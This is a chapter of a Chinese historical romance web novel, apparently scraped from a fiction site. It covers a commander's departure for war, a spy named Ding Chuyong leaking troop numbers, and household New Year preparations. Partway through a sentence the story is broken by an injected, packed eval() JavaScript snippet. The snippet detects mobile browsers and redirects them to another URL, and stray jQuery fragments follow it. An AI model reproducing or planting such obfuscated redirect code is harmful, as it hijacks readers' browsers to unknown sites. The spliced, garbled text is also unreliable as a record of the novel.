吴宴一鼓作气说完这些话之后，灰溜溜地出了书房，哪敢去看身后之人线条僵硬、紧绷得发青的脸。


    直至走进内屋，关上门后才微微舒了口气，转身便见一着绛红色束腰、形容明媚的女子朝他扑来，心尖冷不丁颤了一颤。


    人一进屋，季棠便欢欢喜喜地冲上前来，目若点漆，满含希冀地看着他：“怎么样？他是何反应，有没有大发雷霆？！”


    吴宴垂眸打量近在咫尺的少女，毫不夸张地说，她几乎是贴面而来，只要稍稍再低些头，便能轻而易举贴上她的唇。


    但他忍住了。


    同样是在军营里摸爬滚打，他很早便知，季棠身上半点没有士兵的汗馊酸臭味，相反，她极为注意个人卫生问题，每日都要沐浴，一块皂角只够她用半个月的时长。


    目下二人离得近，她吐纳之间皆是清冽芳香，好似不仅是普通的皂角香，他不由得被攫取住心神，愣怔了一瞬，滚了滚喉结。


    季棠察觉到他神游天外的状态，不满地皱了皱鼻子，抬手一掐他的右上臂：“说话呀！好歹给我点反应！”


    手臂上倏忽传来一阵痛痒之意，吴宴微微敛了心神，目光落在她还未离去的指尖，骤然间想到什么，往后退了半步，眉头微蹙：“你怎可随意进出男子的寝屋，莫非对其他人也是如此？”


    莫名其妙的指责令季棠心火蹭蹭往外冒，但她毕竟有求于人，也不好发作，只能忿忿道：“你又不是其他人，当然比不了。”


    吴宴身躯微僵，随即唇角勾勒出极浅的弧度，遂越过她径直走向屋内的矮几上，兀自坐下。


    “我按照你的要求，一字不落地都说给他听了，如你所愿，他发了好大一通火，直接让我滚了出来。”


    现在想想，吴宴后脊背处还隐约有冷汗浸透的凉意，若非是迫于某人的“淫威”之下，他才不会闲着没事干插手他人的感情事，不过见她烦闷的心情一扫而空，又突然觉得这件事干得值。


    季棠连连抚掌：“实乃大快人心！就应该让他知道，我阿妹何等尊贵，三心二意的男子怎能配得上她！”


    她颇为豪爽地拍了拍吴宴的肩膀，夸他这事干得不错，夜已深，她也不宜久留，转身要走时，却被他喊下。


    “季棠，明日我要回营清点兵马，不日便要上出征向东，直取京都。”


    季棠轻快的步伐骤然停下，神色微僵，心里“咚咚”地打起了鼓：“明日？为何如此着急，是他给你下的命令吗？”


    她只知道祝无恙召他进书房谈话，却不知商谈的是打战一事，转眼便是新年，偏偏要在年关时攻打京城，任谁也想不到。


    他起身走到她跟前，二人不过一臂之遥。


    “战事催急，刻不容缓，不过祝将军松了口，只说年前清点兵将，年后再行出发。”


    他敛眸认真地看她：“离开前，你……你可有什么话要和我说？”


    此去一别可能就是数月，世事无常，他也不知能不能完好无损地回来，若胜，他便能完成多年以来的夙愿，若败，他只想着不留遗憾结束着二十多年的光阴。


    过往数年，他孑然一身，无牵无挂，而现在，眼看建功立业的机会就在前头，他心里却有了羁绊，着实放心不下一人。


    季棠骤然心乱如麻，呼吸都急促了几分。


    须臾后，她抬眸看他：“我和你一起去！”


    吴宴蓦地怔忡僵硬，皮下的血管根根暴起，血液如滚烫的岩浆在身体里肆意冲刷，额角的青筋隐隐浮动，脉搏如擂鼓发出震荡的频率，待身体的热浪平息褪去，他竟奇迹般地冷静下来。


    哪怕他多么想让她陪伴在自己身边，但理智告诉他，此法不可。


    事实上，他亦是这样理性告诉她：“不行，我此去只带八千兵马，营中尚余一万兵马，你需要留下督促他们训练。”


    她情绪却是激动昂扬：“营中并非只有我一个副帅，为何独独要我留下？！难不成，因我是女子之身，就不配出战？！”


    “季棠！你冷静一点！八千兵马根本攻不下京都，将军安排我入京，是要我做卧底蛰伏在贺绍身边，此去境遇凶险，谁也无法保证能一举得胜，我不想让你冒险！”


    他盯着她一片惨白的脸庞，喉间发出震颤：“你明白吗？”


    半晌后，她僵硬到发凉的身躯终于有了一丝反应，嘴角扯出怪异的微笑：“我明白，说到底还是怕我无能坏了你们的大计，既然你们已经做了决定，我又何必添乱？留下便是了。”


    她转身决然地走了出去，他再伸手却只触到浮动的空气，望着门外红衣残影，心脏泛起剧烈的疼痛。


    *


    得知出征的消息后，季棠彻夜难眠，五更天便顶了个巨大的黑眼圈敲响隔壁的房门，苏怀黎睡得正沉，忽而被吵醒，又见季棠如“索魂女鬼”的扮相，夜半阴风呼呼袭来，后背直发凉。


    她忙将人邀入屋上榻，从红木衣橱中取出一套厚实的棉衾，把人裹上回暖，刚被吓了一遭，她浓浓的睡意也消了大半，二人躺在暖和的被窝中，聊起了少女的心事。


    三言两语苏怀黎就摸清了始末，对于吴宴挂帅出征这事她并不意外，前有苏怀景江枫入京为卧底，紧接着第二步计划，便是吴宴领兵假意归降，可她分明记得此计划安排在卯月，目下正月尚未到来，祝无恙就急急安排他点兵清将，是何用意？


    这几日她演戏演得入迷，干脆不见祝无恙，让外人看去好像两人关系真因丁楚容的插足破裂了一般，看来她避而不见的举动，让某人有些着急难耐了，是时候寻个时间偷偷见他一面，打探清楚他葫芦里卖的什么药。


    季棠还沉湎在悲伤的情绪中，苏怀黎软声细语地安慰了几句，半炷香之后，侧身就传来绵长的呼吸声，人被她哄睡着了，她笑了笑，拉过自己的被衾盖上，遂进入梦乡。


    翌日，晴光大好，苏怀黎拉着季棠起身去膳厅用早膳，却听闻祝无恙与吴宴一道去了军营，霜月起得早，天光未亮的时候就碰见二人打马离去，匆匆打了个照面，并未来得及问清缘由。


    季棠睡了一觉之后脑子清醒了许多，一改昨日萎靡的面貌，又恢复嘻嘻哈哈的模样。


    苏怀黎双手支颐若有所思，本想着今日偷偷去东厢房见他一面，谁知这人竟不辞而别，莫非是在躲着她？


    西厢房中，青莲兀自敲响一处的房门，得了首肯之后方才推门而入。


    丁楚容正在妆奁前对镜梳妆施粉，抽空斜眼乜了一眼来人：“何事？”


    她本有意拉拢青莲，但见这丫鬟几次三番不领情，唯苏怀黎马首是瞻，心中就抛却了这个念头，对青莲的态度就如同往日在丁府对下人一样，没什么好脸色。


    青莲施施然走到她跟前，福身道：“回丁小姐，将军让我来西厢房贴身侍候您。”


    丁楚容执着眉黛的手微微一顿，半晌后才反应过来：“是将军让你来的？他可有说是为何？”


    一提及祝无恙，丁楚容娇靥上忽而起了两朵云霞。


    原来他早就暗中关注她许久，知她素来娇贵，便贴心送上丫鬟侍候她，听说这府上，就连苏怀黎都没有近身侍候的丫鬟，有了他的吩咐，丫鬟对她的称呼，都从“姑娘”改为了“小姐”。


    青莲恭顺道：“将军同吴都尉去了军营，三五天之内回不了府，特意交代奴婢，冬日风刀如刃、邪寒肆虐，丁小姐又身娇体弱，怕府上对您照顾不周，不留神又染了风寒，是以让奴婢来伺候您。”


    丁楚容听后，心底如食了蜜糖那般甜滋滋，双颊潮红更甚。


    待平复下来后，明眸闪过浅浅精光，漫不经意问道：“临近年关，不是说军营里的士兵都放了假，怎的又去军营，莫非有战事要起？”


    “奴婢不知，”青莲惶惶然地摇了摇头，“不过……奴婢今早在膳厅听主子们谈话，说将军鲜少亲自练兵，恐怕是有大事发生。”


    屋内氛围倏忽凝重沉滞，丁楚容敛起眼尾细微的笑意，随手将眉黛扔入钿盒中。


    “吩咐下去备上马车，我今日要出趟门，正旦将至，这府上的衣裳棉服大多陈旧，也是时候该采买些新衣裳了。”


    青莲喏了声，徐徐退出去，轻声带上木门。


    丁楚容顺着支起的窗户往外探了探，见人没了影子，才放心关上窗牖，起身行至案桌前，研墨提起毫笔，在澄心堂纸上落下几笔簪花小楷，随后装入信封，火漆封口，塞入广袖中。


    马车停在府邸门口，正是那日从县衙送丁楚容回府的那驾马车。


    丁楚容在车夫的搀扶上躬身进了车内，放下黛青帷帐，车厢左右的窗户严实拉上，钻不进一丝寒风，但她却发觉脊背冰凉，心脏咚咚作响，手心紧紧攥着，须臾后起了潮湿。


    她要去的地方，是城中的一家成衣坊，名为云仙阁。


    下车后，青莲正要搀扶她进去，却听她道：“我试衣服的时候向来不喜有人在身边，你且在这候着吧。”


    青莲应是。


    年节将至，云仙阁门庭若市，客人多至摩肩接踵，贫苦人家一年到头也就盼着买件得体的衣裳舒服过年，一眨眼的功夫，丁楚容便消失在了人海中。


    她挤开人群，从云仙阁的后门出来，直奔街巷后一个破败的小屋，摇摇欲坠的木门被嘎吱关上，她背着门，大口大口地喘着气，才得以平复紧张的心跳。


    大汉见消失几日的丁楚容忽而现身，咧嘴笑道：“小姐，有消息了？”


    丁楚容冷静半刻后，掏出火漆封口的信笺塞给他：“告诉王爷，祝无恙起兵在即，营中不少于两万精兵良将，不容小觑。”


    这大汉，便是那日在粥棚闹事之人，而闹事者的“亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883789|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    戚”俱在屋内，屋内狭小闭塞，空气中浮动着专属男人的体味，丁楚容蹙眉抬手掩住鼻息，脸上嫌弃之色显露无疑。


    屋内其他人听了这消息，无不欢欣鼓舞，大汉更是振奋：“不亏是丁家小姐，任他将军还是元帅，不尽在您的股掌之中？！”


    “不过小姐，前几日有几位官兵模样的人上门搜查，说是清点人口，我按照您的吩咐，只说是与带着年迈的父亲与亲戚从北地宁州逃难至此，方落脚不过月余，您说，他们不会疑心我们的来历吧？您拿个主意，要不我们再寻另一块地躲起来，他们定然找不到。”


    大汉口中的他们，便是陈氏府邸上住的那群人，当日他聚众闹事，侥幸脱逃，后被官兵搜查，想来隐隐有暴露的风险。


    丁楚容皱眉轻喝道：“蠢货！现在搬家岂不是应了此地无银三百两，让人看了便知你是心虚，你们且在此地住下，切勿节外生枝。”


    大汉被训斥一番，只得悻悻应声，丁楚容推开门，四下望望无人跟来，便拎起裙摆绕着街巷，重新进了云仙阁的后门。


    她装模作样地选了两件布料上好的衣裳，结了银子打包后交给青莲，兀自上了马车。


    府上这几日相安无事，粥棚外挂了牌子，只说歇业安置，年后再行开张，苏怀黎从县衙公库中登出了几百两银子，给老百姓们添衣过年。


    义工们不用忙于熬粥施粥，苏怀黎领他们进账房结了帮工的银钱、包上红封，比当初答应给他们的工钱还要翻了一倍，义工们无不感恩戴德，青莲在府上与苏怀黎最为亲近，目下虽安排去了丁楚容的屋子，但每日申时都会借着送膳的由头去她屋内，半炷香之后才出。


    青莲不随义工们一同离开，签了长期工契，有几位见状，纷纷效仿青莲此举，不用签卖身契，得高府宅门庇佑，主子宅心仁厚，菩萨心肠，结的银钱更是丰厚，这世道，没有比在府上当工更舒服的活了。


    愿意留下了签长契的小厮丫鬟和年长的仆妇，很自觉地领了活计，小厮去县衙给阿忠阿进打下手，丫鬟仆妇们则忙活新年置办的事宜。


    陈氏府邸正式更名为明善邸，请的是县中德高望重的老乡绅提字，笔锋遒劲，入木三分，黑底金漆的横匾挂在了明善居的府门檐下。


    明善邸的祠堂荒废许久，洒扫丫鬟清扫去厚厚的网尘，小心翼翼搬来佛龛供奉佛像，堂前燃上佛手柑制成的香，杀了三牲祭在祠堂，于此同时，采买胭脂水粉、写春联的宣纸、大红灯笼等等不在话下。


    待祝无恙与吴宴回府时，已是正旦前夕。


    明善邸灯火幢幢，院落各角、甬道两侧都挂了红火的灯笼，一片张灯结彩、年味十足。


    仆妇丫鬟正在准备明日正宴的食材，忙得脚不沾家，见将军、都尉回府，匆匆行完礼后继续投入繁忙中。


    二人先去了东厢房，书房内，丁楚容忙着翻腾博古架上的书卷锦帛，忽闻门口传来橐橐步声，呼吸骤然停滞，忙躲入屏风后。


    她不知祝无恙今日回府，书房内的物件她觊觎许久，今日趁着下人们忙里忙外，无人注意时，匆匆进了这屋，试图翻出一些有用的消息，目下她躲在屏风后，手脚冰凉，冷汗直冒，死死地捂着嘴，生怕泄露一丝呼吸声，否则这一切筹划都将功亏一篑。


    她屏息静听，二人果真是在商讨年后出征京都的计划，正月是一年之中最重要的月份，意在出其不意攻其不备，杀贺绍一个猝不及防，出征日期商定在了正月初五，八千精锐骑兵，直捣都城。


    半炷香之后，二人出了书房，丁楚容骤然泄气，径直瘫软在了地上。


    *


    苏怀黎今日起身后便在祠堂忙活祭祀事宜，此地祠堂并非供奉先祖，而是跪拜佛祖菩萨，与苏府后院的那处小佛堂极为相似。


    堂内燃了用于祭天的紫檀香，她着素衣跪于堂中，双手合十，怀着一颗虔诚的心，求佛祖保佑来年诸事顺遂，百姓免于灾祸。


    她在蒲团上足足给跪了半个时辰方才起身，膝盖处传来尖锐的刺痛，如蚂蚁啮咬啃噬。


    出了祠堂后才知军营的二人回了府，她抬脚正要往东厢房的方向去，停了片刻后，又转身去了西厢房。


    目下时候尚早，等天色彻底暗下再去找他也不迟，她这样打算后，微微跛着足回了自己的寝屋，推开门，却见一名着墨衣，身姿高大的男子兀自坐在屋内的矮榻上，目光定定地落下她身上。


    二人有几日未见，突然见到祝无恙，苏怀黎还有些许愣神，仍旧无法适应他未经允许擅自入屋的举动，下意识关上房门，生怕有人窥见。


    她见他眉间紧蹙，轮廓分明的脸上透着不豫，不自觉咽了咽喉咙，措辞道：“我本想等着天黑之后再去寻你的……”


    祝无恙沉着脸，快步朝她走来，在一阵娇呼声中将人打横抱起，径直走向床榻。